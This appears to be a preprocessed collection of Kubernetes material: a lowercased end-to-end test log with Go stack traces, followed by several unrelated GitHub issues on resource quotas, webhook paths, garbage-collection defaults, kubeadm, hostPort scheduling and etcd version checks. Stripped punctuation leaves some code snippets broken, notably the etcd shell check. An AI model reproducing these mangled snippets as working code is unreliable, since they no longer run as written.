k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/wait.waitfor 0xc4208bc840, 0xc4212b5440, 0xc4212b8a80, 0xc420afe300, 0x34dac4f \r i0524 08:09:30.354    \t/go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/wait/wait.go:275 +0x70\r i0524 08:09:30.354    k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/wait.pollinternal 0xc4208bc840, 0xc4212b5440, 0x0, 0x0 \r i0524 08:09:30.354    \t/go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/wait/wait.go:191 +0x99\r i0524 08:09:30.354    k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/wait.pollimmediateinternal 0xc4208bc840, 0xc4212b5440, 0xc4208bc840, 0xc4212b5440 \r i0524 08:09:30.354    \t/go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/wait/wait.go:216 +0x76\r i0524 08:09:30.354    k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/wait.pollimmediate 0x37e11d600, 0x1bf08eb000, 0xc4212b5440, 0x503a380, 0xc4215150e0 \r i0524 08:09:30.354    \t/go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/wait/wait.go:205 +0x4d\r i0524 08:09:30.355    k8s.io/kubernetes/test/e2e/common.  resourceconsumer .sendconsumememrequest 0xc420d54e10, 0x0 \r i0524 08:09:30.355    \t/go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/common/autoscaling_utils.go:272 +0x1d6\r i0524 08:09:30.355    k8s.io/kubernetes/test/e2e/common.  resourceconsumer .makeconsumememrequests 0xc420d54e10 \r i0524 08:09:30.355    \t/go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/common/autoscaling_utils.go:194 +0x328\r i0524 08:09:30.355    created by k8s.io/kubernetes/test/e2e/common.newresourceconsumer\r i0524 08:09:30.355    \t/go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/common/autoscaling_utils.go:140 +0x3d6\r i0524 08:09:30.355    \r i0524 08:09:30.355  ------------------------------\r i0524 08:09:33.598   beforeeach   k8s.io  resourcequota\r i0524 08:09:33.598    /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/framework/framework.go:128\r i0524 08:09:33.598  step: creating a kubernetes client\r i0524 08:09:33.598  may 24 08:08:05.422: info: >>> kubeconfig: /workspace/.kube/config\r i0524 08:09:33.598  step: building a namespace api object\r i0524 08:09:33.598  step: waiting for a default service account to be provisioned in namespace\r i0524 08:09:33.599   it  should verify resourcequota with terminating scopes.\r i0524 08:09:33.599    /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/resource_quota.go:473\r i0524 08:09:33.599  step: creating a resourcequota with terminating scope\r i0524 08:09:33.599  step: ensuring resourcequota status is calculated\r i0524 08:09:33.599  step: creating a resourcequota with not terminating scope\r i0524 08:09:33.599  step: ensuring resourcequota status is calculated\r i0524 08:09:33.599  step: creating a long running pod\r i0524 08:09:33.599  step: ensuring resource quota with not terminating scope captures the pod usage\r i0524 08:09:33.599  step: ensuring resource quota with terminating scope ignored the pod usage\r i0524 08:09:33.600  step: deleting the pod\r i0524 08:09:33.600  step: ensuring resource quota status released the pod usage\r i0524 08:09:33.600  step: creating a terminating pod\r i0524 08:09:33.600  step: ensuring resource quota with terminating scope captures the pod usage\r i0524 08:09:33.600  step: ensuring resource quota with not terminating scope ignored the pod usage\r i0524 08:09:33.600  step: deleting the pod\r i0524 08:09:33.600  step: ensuring resource quota status released the pod usage\r i0524 08:09:33.600  may 24 08:08:22.693: info: resource limits.memory, expected 0, actual 400mi\r i0524 08:09:33.600   aftereach   k8s.io  resourcequota\r i0524 08:09:33.601    /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/framework/framework.go:129\r i0524 08:09:33.601  may 24 08:08:24.694: info: waiting up to 3m0s for all  but 0  nodes to be ready\r i0524 08:09:33.601  step: destroying namespace \ e2e-tests-resourcequota-sdctg\  for this suite.\r i0524 08:09:33.601  may 24 08:09:33.430: info: namespace: e2e-tests-resourcequota-sdctg, resource: bindings, ignored listing per whitelist\r i0524 08:09:33.601  may 24 08:09:33.596: info: namespace e2e-tests-resourcequota-sdctg deletion completed in 1m8.894883357s\r i0524 08:09:33.601  \r i0524 08:09:33.601  \r i0524 08:09:33.601  •  slow test:88.174 seconds \r    \r \r    \r i0524 08:05:15.016  •  slow test:151.771 seconds \r i0524 08:05:15.016   k8s.io  replicaset\r i0524 08:05:15.016  /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/framework/framework.go:618\r i0524 08:05:15.016    should serve a basic image on each replica with a public image  conformance \r i0524 08:05:15.016    /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/replica_set.go:82\r i0524 08:05:15.016  ------------------------------\r i0524 08:05:23.200  sss\r i0524 08:05:23.200  ------------------------------\r i0524 08:05:23.200   beforeeach  version v1\r i0524 08:05:23.200    /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/framework/framework.go:128\r i0524 08:05:23.200  step: creating a kubernetes client\r i0524 08:05:23.201  may 24 08:04:03.409: info: >>> kubeconfig: /workspace/.kube/config\r i0524 08:05:23.201  step: building a namespace api object\r i0524 08:05:23.201  step: waiting for a default service account to be provisioned in namespace\r i0524 08:05:23.201   it  should proxy to cadvisor\r i0524 08:05:23.201    /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/proxy.go:64\r i0524 08:05:23.201  may 24 08:04:03.972: info:  0  /api/v1/proxy/nodes/e2e-gce-agent-pr-72-0-minion-group-6jgf:4194/containers/: \r i0524 08:05:23.201  \r i0524 08:05:23.201  <html>\r i0524 08:05:23.202    <head>\r i0524 08:05:23.202      <title>cadvisor - /</title>\r i0524 08:05:23.202      \r i0524 08:05:23.202      <link rel=\ stylesheet\  href=\ ../static...  200; 268.986001ms \r i0524 08:05:23.202  may 24 08:04:04.107: info:  1  /api/v1/proxy/nodes/e2e-gce-agent-pr-72-0-minion-group-6jgf:4194/containers/: \r i0524 08:05:23.202  \r i0524 08:05:23.202  <html>\r i0524 08:05:23.202    <head>\r i0524 08:05:23.202      <title>cadvisor - /</title>\r i0524 08:05:23.203      \r i0524 08:05:23.203      <link rel=\ stylesheet\  href=\ ../static...  200; 134.710922ms \r i0524 08:05:23.203  may 24 08:04:04.204: info:  2  /api/v1/proxy/nodes/e2e-gce-agent-pr-72-0-minion-group-6jgf:4194/containers/: \r i0524 08:05:23.203  \r i0524 08:05:23.203  <html>\r i0524 08:05:23.203    <head>\r i0524 08:05:23.203      <title>cadvisor - /</title>\r i0524 08:05:23.203      \r i0524 08:05:23.204      <link rel=\ stylesheet\  href=\ ../static...  200; 97.245013ms \r i0524 08:05:23.204  may 24 08:04:04.283: info:  3  /api/v1/proxy/nodes/e2e-gce-agent-pr-72-0-minion-group-6jgf:4194/containers/: \r i0524 08:05:23.204  \r i0524 08:05:23.204  <html>\r i0524 08:05:23.204    <head>\r i0524 08:05:23.204      <title>cadvisor - /</title>\r i0524 08:05:23.204      \r i0524 08:05:23.204      <link rel=\ stylesheet\  href=\ ../static...  200; 79.313388ms \r i0524 08:05:23.204  may 24 08:04:04.324: info:  4  /api/v1/proxy/nodes/e2e-gce-agent-pr-72-0-minion-group-6jgf:4194/containers/: \r i0524 08:05:23.205  \r i0524 08:05:23.205  <html>\r i0524 08:05:23.205    <head>\r i0524 08:05:23.205      <title>cadvisor - /</title>\r i0524 08:05:23.205      \r i0524 08:05:23.205      <link rel=\ stylesheet\  href=\ ../static...  200; 40.618003ms \r i0524 08:05:23.205  may 24 08:04:04.387: info:  5  /api/v1/proxy/nodes/e2e-gce-agent-pr-72-0-minion-group-6jgf:4194/containers/: \r i0524 08:05:23.205  \r i0524 08:05:23.205  <html>\r i0524 08:05:23.205    <head>\r i0524 08:05:23.206      <title>cadvisor - /</title>\r i0524 08:05:23.206      \r i0524 08:05:23.206      <link rel=\ stylesheet\  href=\ ../static...  200; 62.844535ms \r i0524 08:05:23.206  may 24 08:04:04.411: info:  6  /api/v1/proxy/nodes/e2e-gce-agent-pr-72-0-minion-group-6jgf:4194/containers/: \r i0524 08:05:23.206  \r i0524 08:05:23.206  <html>\r i0524 08:05:23.206    <head>\r i0524 08:05:23.206      <title>cadvisor - /</title>\r i0524 08:05:23.206      \r i0524 08:05:23.207      <link rel=\ stylesheet\  href=\ ../static...  200; 23.674604ms \r i0524 08:05:23.207  may 24 08:04:04.418: info:  7  /api/v1/proxy/nodes/e2e-gce-agent-pr-72-0-minion-group-6jgf:4194/containers/: \r i0524 08:05:23.207  \r i0524 08:05:23.207  <html>\r i0524 08:05:23.207    <head>\r i0524 08:05:23.207      <title>cadvisor - /</title>\r i0524 08:05:23.208      \r i0524 08:05:23.208      <link rel=\ stylesheet\  href=\ ../static...  200; 7.335625ms \r i0524 08:05:23.208  may 24 08:04:04.430: info:  8  /api/v1/proxy/nodes/e2e-gce-agent-pr-72-0-minion-group-6jgf:4194/containers/: \r i0524 08:05:23.208  \r i0524 08:05:23.208  <html>\r i0524 08:05:23.208    <head>\r i0524 08:05:23.209      <title>cadvisor - /</title>\r i0524 08:05:23.209      \r i0524 08:05:23.209      <link rel=\ stylesheet\  href=\ ../static...  200; 11.467721ms \r i0524 08:05:23.209  may 24 08:04:04.439: info:  9  /api/v1/proxy/nodes/e2e-gce-agent-pr-72-0-minion-group-6jgf:4194/containers/: \r i0524 08:05:23.209  \r i0524 08:05:23.209  <html>\r i0524 08:05:23.210    <head>\r i0524 08:05:23.210      <title>cadvisor - /</title>\r i0524 08:05:23.210      \r i0524 08:05:23.210      <link rel=\ stylesheet\  href=\ ../static...  200; 8.648663ms \r i0524 08:05:23.210  may 24 08:04:04.448: info:  10  /api/v1/proxy/nodes/e2e-gce-agent-pr-72-0-minion-group-6jgf:4194/containers/: \r i0524 08:05:23.210  \r i0524 08:05:23.210  <html>\r i0524 08:05:23.210    <head>\r i0524 08:05:23.210      <title>cadvisor - /</title>\r i0524 08:05:23.210      \r i0524 08:05:23.211      <link rel=\ stylesheet\  href=\ ../static...  200; 9.256446ms \r i0524 08:05:23.211  may 24 08:04:04.456: info:  11  /api/v1/proxy/nodes/e2e-gce-agent-pr-72-0-minion-group-6jgf:4194/containers/: \r i0524 08:05:23.211  \r i0524 08:05:23.211  <html>\r i0524 08:05:23.211    <head>\r i0524 08:05:23.211      <title>cadvisor - /</title>\r i0524 08:05:23.211      \r i0524 08:05:23.212      <link rel=\ stylesheet\  href=\ ../static...  200; 8.284943ms \r i0524 08:05:23.212  may 24 08:04:04.462: info:  12  /api/v1/proxy/nodes/e2e-gce-agent-pr-72-0-minion-group-6jgf:4194/containers/: \r i0524 08:05:23.212  \r i0524 08:05:23.212  <html>\r i0524 08:05:23.212    <head>\r i0524 08:05:23.212      <title>cadvisor - /</title>\r i0524 08:05:23.213      \r i0524 08:05:23.213      <link rel=\ stylesheet\  href=\ ../static...  200; 5.377545ms \r i0524 08:05:23.213  may 24 08:04:04.486: info:  13  /api/v1/proxy/nodes/e2e-gce-agent-pr-72-0-minion-group-6jgf:4194/containers/: \r i0524 08:05:23.213  \r i0524 08:05:23.213  <html>\r i0524 08:05:23.213    <head>\r i0524 08:05:23.213      <title>cadvisor - /</title>\r i0524 08:05:23.214      \r i0524 08:05:23.214      <link rel=\ stylesheet\  href=\ ../static...  200; 24.557929ms \r i0524 08:05:23.214  may 24 08:04:04.520: info:  14  /api/v1/proxy/nodes/e2e-gce-agent-pr-72-0-minion-group-6jgf:4194/containers/: \r i0524 08:05:23.214  \r i0524 08:05:23.214  <html>\r i0524 08:05:23.214    <head>\r i0524 08:05:23.215      <title>cadvisor - /</title>\r i0524 08:05:23.215      \r i0524 08:05:23.215      <link rel=\ stylesheet\  href=\ ../static...  200; 33.213286ms \r i0524 08:05:23.215  may 24 08:04:04.562: info:  15  /api/v1/proxy/nodes/e2e-gce-agent-pr-72-0-minion-group-6jgf:4194/containers/: \r i0524 08:05:23.215  \r i0524 08:05:23.215  <html>\r i0524 08:05:23.216    <head>\r i0524 08:05:23.216      <title>cadvisor - /</title>\r i0524 08:05:23.216      \r i0524 08:05:23.216      <link rel=\ stylesheet\  href=\ ../static...  200; 42.737853ms \r i0524 08:05:23.216  may 24 08:04:04.581: info:  16  /api/v1/proxy/nodes/e2e-gce-agent-pr-72-0-minion-group-6jgf:4194/containers/: \r i0524 08:05:23.216  \r i0524 08:05:23.216  <html>\r i0524 08:05:23.217    <head>\r i0524 08:05:23.217      <title>cadvisor - /</title>\r i0524 08:05:23.217      \r i0524 08:05:23.217      <link rel=\ stylesheet\  href=\ ../static...  200; 18.474828ms \r i0524 08:05:23.217  may 24 08:04:04.588: info:  17  /api/v1/proxy/nodes/e2e-gce-agent-pr-72-0-minion-group-6jgf:4194/containers/: \r i0524 08:05:23.217  \r i0524 08:05:23.217  <html>\r i0524 08:05:23.217    <head>\r i0524 08:05:23.217      <title>cadvisor - /</title>\r i0524 08:05:23.217      \r i0524 08:05:23.217      <link rel=\ stylesheet\  href=\ ../static...  200; 6.474269ms \r i0524 08:05:23.218  may 24 08:04:04.594: info:  18  /api/v1/proxy/nodes/e2e-gce-agent-pr-72-0-minion-group-6jgf:4194/containers/: \r i0524 08:05:23.218  \r i0524 08:05:23.218  <html>\r i0524 08:05:23.218    <head>\r i0524 08:05:23.218      <title>cadvisor - /</title>\r i0524 08:05:23.218      \r i0524 08:05:23.218      <link rel=\ stylesheet\  href=\ ../static...  200; 5.92939ms \r i0524 08:05:23.218  may 24 08:04:04.599: info:  19  /api/v1/proxy/nodes/e2e-gce-agent-pr-72-0-minion-group-6jgf:4194/containers/: \r i0524 08:05:23.218  \r i0524 08:05:23.219  <html>\r i0524 08:05:23.219    <head>\r i0524 08:05:23.219      <title>cadvisor - /</title>\r i0524 08:05:23.220      \r i0524 08:05:23.220      <link rel=\ stylesheet\  href=\ ../static...  200; 5.6301ms \r i0524 08:05:23.220   aftereach  version v1\r i0524 08:05:23.220    /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/framework/framework.go:129\r i0524 08:05:23.220  may 24 08:04:04.599: info: waiting up to 3m0s for all  but 0  nodes to be ready\r i0524 08:05:23.221  step: destroying namespace \ e2e-tests-proxy-rd7sp\  for this suite.\r i0524 08:05:23.221  may 24 08:05:22.887: info: namespace: e2e-tests-proxy-rd7sp, resource: bindings, ignored listing per whitelist\r i0524 08:05:23.221  may 24 08:05:23.196: info: namespace e2e-tests-proxy-rd7sp deletion completed in 1m18.588153193s\r i0524 08:05:23.221  \r i0524 08:05:23.221  \r i0524 08:05:23.221  •! panic in spec teardown  aftereach   79.787 seconds \r i0524 08:05:23.221   k8s.io  proxy\r i0524 08:05:23.222  /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/framework/framework.go:618\r i0524 08:05:23.222    version v1\r i0524 08:05:23.222    /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/proxy.go:275\r i0524 08:05:23.222      should proxy to cadvisor  aftereach \r i0524 08:05:23.222      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/proxy.go:64\r i0524 08:05:23.222  \r i0524 08:05:23.222      test panicked\r i0524 08:05:23.223      runtime error: invalid memory address or nil pointer dereference\r i0524 08:05:23.223      /usr/local/go_k8s_patched/src/runtime/asm_amd64.s:514\r i0524 08:05:23.223  \r i0524 08:05:23.223      full stack trace\r i0524 08:05:23.223      \t/usr/local/go_k8s_patched/src/runtime/panic.go:489 +0x2cf\r i0524 08:05:23.223      k8s.io/kubernetes/test/e2e/common.  resourceconsumer .sendconsumecpurequest.func1 0x2d99dc0, 0xc420f65b00, 0xc4215ffd3f \r i0524 08:05:23.223      \t/go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/common/autoscaling_utils.go:231 +0x5f\r i0524 08:05:23.223      k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/wait.waitfor 0xc4208c3cc0, 0xc420e8cde0, 0xc420f65980, 0xc420edf500, 0x34dac45 \r i0524 08:05:23.224      \t/go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/wait/wait.go:275 +0x70\r i0524 08:05:23.224      k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/wait.pollinternal 0xc4208c3cc0, 0xc420e8cde0, 0x0, 0x0 \r i0524 08:05:23.224      \t/go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/wait/wait.go:191 +0x99\r i0524 08:05:23.224      k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/wait.pollimmediateinternal 0xc4208c3cc0, 0xc420e8cde0, 0xc4208c3cc0, 0xc420e8cde0 \r i0524 08:05:23.224      \t/go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/wait/wait.go:216 +0x76\r i0524 08:05:23.224      k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/wait.pollimmediate 0x37e11d600, 0x1bf08eb000, 0xc420e8cde0, 0x503a380, 0xc4214bdb60 \r i0524 08:05:23.224      \t/go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/wait/wait.go:205 +0x4d\r i0524 08:05:23.225      k8s.io/kubernetes/test/e2e/common.  resourceconsumer .sendconsumecpurequest 0xc420d54e10, 0x32 \r i0524 08:05:23.225      \t/go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/common/autoscaling_utils.go:244 +0x1d6\r i0524 08:05:23.225      k8s.io/kubernetes/test/e2e/common.  resourceconsumer .makeconsumecpurequests 0xc420d54e10 \r i0524 08:05:23.225      \t/go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/common/autoscaling_utils.go:175 +0x328\r i0524 08:05:23.225      created by k8s.io/kubernetes/test/e2e/common.newresourceconsumer\r i0524 08:05:23.225      \t/go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/common/autoscaling_utils.go:137 +0x399\r i0524 08:05:23.225      \r i0524 08:05:23.226  ------------------------------\r i0524 08:05:23.298   beforeeach   k8s.io  emptydir volumes\r i0524 08:05:23.299    /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/framework/framework.go:128\r i0524 08:05:23.299  step: creating a kubernetes client\r i0524 08:05:23.299  may 24 08:04:00.254: info: >>> kubeconfig: /workspace/.kube/config\r i0524 08:05:23.299  step: building a namespace api object\r i0524 08:05:23.299  step: waiting for a default service account to be provisioned in namespace\r i0524 08:05:23.299   it  should support  root,0777,tmpfs   conformance   volume \r i0524 08:05:23.299    /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/common/empty_dir.go:83\r i0524 08:05:23.299  step: creating a pod to test emptydir 0777 on tmpfs\r i0524 08:05:23.300  may 24 08:04:01.724: info: waiting up to 5m0s for pod pod-387781bf-4092-11e7-8b62-0242ac110002 status to be success or failure\r i0524 08:05:23.300  may 24 08:04:01.786: info: waiting for pod pod-387781bf-4092-11e7-8b62-0242ac110002 in namespace 'e2e-tests-emptydir-54l0b' status to be 'success or failure' found phase: \ pending\ , readiness: false   62.401843ms elapsed \r i0524 08:05:23.300  may 24 08:04:03.806: info: waiting for pod pod-387781bf-4092-11e7-8b62-0242ac110002 in namespace 'e2e-tests-emptydir-54l0b' status to be 'success or failure' found phase: \ pending\ , readiness: false   2.081995615s elapsed \r i0524 08:05:23.300  may 24 08:04:05.834: info: waiting for pod pod-387781bf-4092-11e7-8b62-0242ac110002 in namespace 'e2e-tests-emptydir-54l0b' status to be 'success or failure' found phase: \ pending\ , readiness: false   4.110702742s elapsed \r i0524 08:05:23.300  may 24 08:04:08.122: info: waiting for pod pod-387781bf-4092-11e7-8b62-0242ac110002 in namespace 'e2e-tests-emptydir-54l0b' status to be 'success or failure' found phase: \ pending\ , readiness: false   6.397864415s elapsed \r i0524 08:05:23.300  may 24 08:04:10.144: info: waiting for pod pod-387781bf-4092-11e7-8b62-0242ac110002 in namespace 'e2e-tests-emptydir-54l0b' status to be 'success or failure' found phase: \ pending\ , readiness: false   8.42029737s elapsed \r i0524 08:05:23.301  step: saw pod success\r i0524 08:05:23.301  may 24 08:04:12.366: info: trying to get logs from node e2e-gce-agent-pr-72-0-minion-group-bt65 pod pod-387781bf-4092-11e7-8b62-0242ac110002 container test-container: <nil>\r i0524 08:05:23.301  step: delete the pod\r i0524 08:05:23.301  may 24 08:04:12.650: info: waiting for pod pod-387781bf-4092-11e7-8b62-0242ac110002 to disappear\r i0524 08:05:23.301  may 24 08:04:12.673: info: pod pod-387781bf-4092-11e7-8b62-0242ac110002 no longer exists\r i0524 08:05:23.301   aftereach   k8s.io  emptydir volumes\r i0524 08:05:23.302    /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/framework/framework.go:129\r i0524 08:05:23.302  may 24 08:04:12.673: info: waiting up to 3m0s for all  but 0  nodes to be ready\r i0524 08:05:23.302  step: destroying namespace \ e2e-tests-emptydir-54l0b\  for this suite.\r i0524 08:05:23.302  may 24 08:05:22.855: info: namespace: e2e-tests-emptydir-54l0b, resource: bindings, ignored listing per whitelist\r i0524 08:05:23.302  may 24 08:05:23.296: info: namespace e2e-tests-emptydir-54l0b deletion completed in 1m10.613441608s\r i0524 08:05:23.302  \r i0524 08:05:23.303  \r i0524 08:05:23.303  •  slow test:83.042 seconds \r    \r

when using cronjobs and jobs it's very easy to create a very large number of pods. e.g. in one of our clusters with etcdv3 a single cronjob created over 10k pods in about two days. with etcdv2 the apiserver would already have been unusable and in this case the large number of pods has caused iops starvation on our etcd nodes and the same on prometheus volumes.\r \r resourcequotas right now only support limiting the number of non-terminal pods, which means they don't help preventing this failure mode:\r >the total number of pods in a non-terminal state that can exist in the namespace. a pod is in a terminal state if status.phase in  failed, succeeded  is true.\r \r also allowing the an upper limit on the total number of pods would solve this kind of resource starvation.\r \r  @kubernetes/sig-cluster-ops-feature-requests

the webhook admission plugin can only post to  / .  this needs to be a configurable option so that we could host in a normal api server and possibly combine multiple admission webhooks together.\r \r @kubernetes/sig-api-machinery-bugs

as part of the apps/v1 ga effort  https://github.com/kubernetes/features/issues/353  for v1.9, we'd like to consider changing the defaultgarbagecollectionpolicy from  orphandependents  to  deletedependents  for deployment, daemonset, replicaset, and statefulset. this will make these objects consistent with the default behavior for all new objects. clients that use the new ga version will no longer need to account for these objects being special.\r \r for backward compatibility, the default policy will remain  orphandependents  if the  delete  request comes through one of the following legacy api versions:\r \r   extensions/v1beta1\r   apps/v1beta1\r   apps/v1beta2\r \r to accomplish this, we'll need to add a  genericapirequest.context  argument to  defaultgarbagecollectionpolicy   , as is found on other methods in strategy, and plumb it through from the caller. after that, the implementation will be similar to what we did for version-specific selector immutability  https://github.com/kubernetes/kubernetes/pull/50719 .\r \r cc @caesarxuchao @kow3ns @kubernetes/sig-apps-api-reviews \r \r -  x  update code.  https://github.com/kubernetes/kubernetes/pull/55148 \r -     update  docs  https://kubernetes.io/docs/concepts/workloads/controllers/garbage-collection/ setting-the-cascading-deletion-policy .

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r  \r      what happened  :\r timed out waiting for the condition\r \r      what you expected to happen  :\r creatin cluster\r \r      how to reproduce it  as minimally and precisely as possible   :\r use external gce ip whirh kubeadm init\r \r      anything else we need to know?  :\r \r      environment  :\r   - kubernetes version:  \r client version: version.info{major:\ 1\ , minor:\ 9\ , gitversion:\ v1.9.3\ , gitcommit:\ d2835416544f298c919e2ead3be3d0864b52323b\ , gittreestate:\ clean\ , builddate:\ 2018-02-07t12:22:21z\ , goversion:\ go1.9.2\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r   - cloud provider:  \r google cloud platform, google compute engine\r   - os:  \r pretty_name=\ debian gnu/linux 9  stretch \ \r name=\ debian gnu/linux\ \r version_id=\ 9\ \r version=\ 9  stretch \ \r id=debian\r home_url=\ https://www.debian.org/\ \r support_url=\ https://www.debian.org/support\ \r bug_report_url=\ https://bugs.debian.org/\ \r   - kernel:  \r linux instance-2 4.9.0-5-amd64  1 smp debian 4.9.65-3+deb9u2  2018-01-04  x86_64 gnu/linux\r

 \r \r   what happened  :\r - scenario: 2 nodes in a cluster.\r - deployment with hostport\r - i request more instances of the given pod\r - schedules but fails to start because overlapping hostports on the node s \r \r   what you expected to happen  :\r have one pod pending\r \r   how to reproduce it  as minimally and precisely as possible   :\r - have let's say 2 nodes\r - deploy this  or with 1 replica and scale up :\r    \r apiversion: apps/v1\r kind: deployment\r metadata:\r   labels:\r     app-name: test\r   name: test\r   namespace: default\r spec:\r   progressdeadlineseconds: 600\r   replicas: 3\r   revisionhistorylimit: 10\r   selector:\r     matchlabels:\r       app-name: test\r   strategy:\r     rollingupdate:\r       maxsurge: 1\r       maxunavailable: 1\r     type: rollingupdate\r   template:\r     metadata:\r       creationtimestamp: null\r       labels:\r         app-name: test\r       name: test\r     spec:\r       containers:\r       - image: <any image>\r         imagepullpolicy: ifnotpresent\r         name: memcache\r         resources: {}\r         terminationmessagepath: /dev/termination-log\r         terminationmessagepolicy: file\r         ports:\r         - containerport: 5001\r           hostport: 8002\r           name: nginx\r           protocol: tcp\r         resources: {}\r         terminationmessagepath: /dev/termination-log\r         terminationmessagepolicy: file\r    \r it will keep creating new pods which will fail into podfitshostports condition and immediately create yet another and more and more pods that fail.\r \r    \r   type     reason            age   from                               message\r   ----     ------            ----  ----                               -------\r   warning  failedscheduling  8m    default-scheduler                  0/2 nodes are available: 1 node s  didn't have free ports for the requested pod ports, 1 node s  didn't match node selector.\r   normal   scheduled         8m    default-scheduler                  successfully assigned img/test-whatever to somenode\r   warning  podfitshostports  8m    kubelet, somenode  predicate podfitshostports failed\r    \r \r   environment  :\r - kubernetes version  use  kubectl version  : 1.11.1\r - cloud provider or hardware configuration: on-prem\r - os  e.g. from /etc/os-release : debian stretch\r - kernel  e.g.  uname -a  :debian 4.9\r - install tools: built from source\r \r ashley\r

is this a bug report or feature request?  :\r  /assign\r > uncomment only one, leave it on its own line:\r >\r >  >  \r \r   what happened  :\r seems unreasonable in two part:\r 1、 if have one  etcd  in env, and the  version  higher than the  minimum version  also ok, but code \r    \r os=$ uname | tr \  :upper: \  \  :lower: \  \r if    $ readlink etcd  == etcd-v${etcd_version}-${os}-    ; then\r       return    already installed\r fi\r    \r in https://github.com/kubernetes/kubernetes/blob/master/hack/lib/etcd.sh l108 seems confused.\r \r 2、consider that situation:\r \r - first install  etcd  like this in local:\r - secondary, download  etcd tar  file\r - third,  tar xzf  the  etcd tar' file\r - fourth, copy the  etcd  binary to some directory, like  usr/local/bin  , rather than take it in  /third-party , using  soft link \r - then, run  hack/local-up-cluster.sh  create a cluster\r - finally, run \r     \r  hack/update-swagger-spec.sh\r     \r  or\r    \r  hack/verify-swagger-spec.sh\r     \r \r   what you expected to happen  :\r first compare  os  version, then compare  etcd  version higher than  etcd_version  also better \r \r   how to reproduce it  as minimally and precisely as possible   :\r \r - install ectd higher than ${etcd_version}  manaully: down  etcd tar  file, and  tar xzf  it, copy binary to  usr/local/bin \r - run  hack/local-up-cluster.sh , setting up a local cluster\r - run\r \r    \r hack/update-swagger-spec.sh\r    \r or\r    \r hack/verify-swagger-spec.sh\r    \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r    \r client version: version.info{major:\ 1\ , minor:\ 12+\ , gitversion:\ v1.12.0-alpha.0.2608+8e2d37ee63d0a1\ , gitcommit:\ 8e2d37ee63d0a1f71baa07e8e4ee57cb3b86e9b6\ , gittreestate:\ clean\ , builddate:\ 2018-08-01t07:05:13z\ , goversion:\ go1.10.2\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 12+\ , gitversion:\ v1.12.0-alpha.0.2608+8e2d37ee63d0a1\ , gitcommit:\ 8e2d37ee63d0a1f71baa07e8e4ee57cb3b86e9b6\ , gittreestate:\ clean\ , builddate:\ 2018-08-01t07:05:13z\ , goversion:\ go1.10.2\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r    \r name=\ ubuntu\ \r version=\ 14.04, trusty tahr\ \r id=ubuntu\r id_like=debian\r pretty_name=\ ubuntu 14.04 lts\ \r version_id=\ 14.04\ \r home_url=\ http://www.ubuntu.com/\ \r support_url=\ http://help.ubuntu.com/\ \r bug_report_url=\ http://bugs.launchpad.net/ubuntu/\ \r    \r - kernel  e.g.  uname -a  :\r    \r 3.13.0-24-generic\r    \r - install tools:\r    \r hack/local-up-cluster.sh\r    \r - others:\r

